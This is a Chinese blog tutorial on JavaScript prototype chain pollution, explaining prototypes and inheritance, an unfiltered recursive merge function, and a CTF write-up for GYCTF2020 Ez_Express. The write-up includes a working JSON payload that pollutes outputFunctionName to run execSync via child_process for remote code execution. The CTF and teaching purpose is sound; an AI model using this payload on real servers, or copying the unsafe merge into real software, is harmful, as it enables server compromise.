从零到0原型链污染(JavaScript)

前言#

遇到很多次原型链知识点的考题,每次都被爆锤,下次不想了呀。。。

JavaScript原型#

javascript中的类,在java和php中使用class来定义类,而是通过函数定义的方法。

JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

var person=new Person('lyc',30,'male');
console.log(person);

具体原型链结构图

image-20211006215949007

要记住

person.__proto__=Person.prototype

总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

JavaScript原型链继承#

由于JavaScript没有类似Java中的Class概念,继承都是由原型链来实现的。

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

比如

function Teacher(name,age,gender,subject){
	Person.call(this,name);
	Person.call(this,age);
	Person.call(this,gender);
	this.subject=subject;
}
Teacher.prototype=new Person();
console.log(Teacher.prototype);

可以看到,Teacher.prototype的proto属性是Person.prototype,原型链也就多了“一层”。

image-20220205213335475

原型链污染#

第一章中说到,foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个对象{},但zoo.bar的结果居然是2:

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

哪些情况下原型链会被污染#

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

假如存在一个merge操作:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

这里没有对键值进行过滤,假如key为__proto__,那么就可以进行原型链污染。

这里需要注意,要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响,

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

例如:

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined
>o2.__proto__
<{b: 2}           //直接返回对应值
>console.log({}.b)
<undefined        //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined
>console.log({}.b)
<2                //原型被成功污染

例题[GYCTF2020]Ez_Express#

  • 知识点

    • js原型污染链
    • toUpperCase()绕过
  • 通过正则,不可注册含有 admin 的用户

    • 通过 toUpperCase()绕过
    • 利用 clone()污染
unction safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

在/action的路由中找到clone()的位置,需要admin登录

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

  • 寻找污染点,info页面
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
其中 outputFunctionName 未被声明,可以利用

可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的

res.outputFunctionName=undefined;

也就是可以通过污染outputFunctionName进行SSTI

于是抓/action的包,Content-Type 设为 application/json,调用 clone,实现污染

  • payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
  • 再访问/info,下载 flag

例题[网鼎杯 2020 青龙组]notes#

http://chaosec.top/2020/09/24/buuctf3/

例题安洵杯 2020 Validator#

https://writeup.ctfhub.com/Challenge/2020/安洵杯/Web/9svHGs6PFkEBneTx4XaZ6r.html

https://xz.aliyun.com/t/8581

参考https://www.freebuf.com/articles/web/275619.html

https://blog.happysec.cn/index/view/328.html

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

https://blog.csdn.net/qq_45691294/article/details/109320437?

posted @   kzd的前沿思考  阅读(220)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
点击右上角即可分享
微信分享提示
主题色彩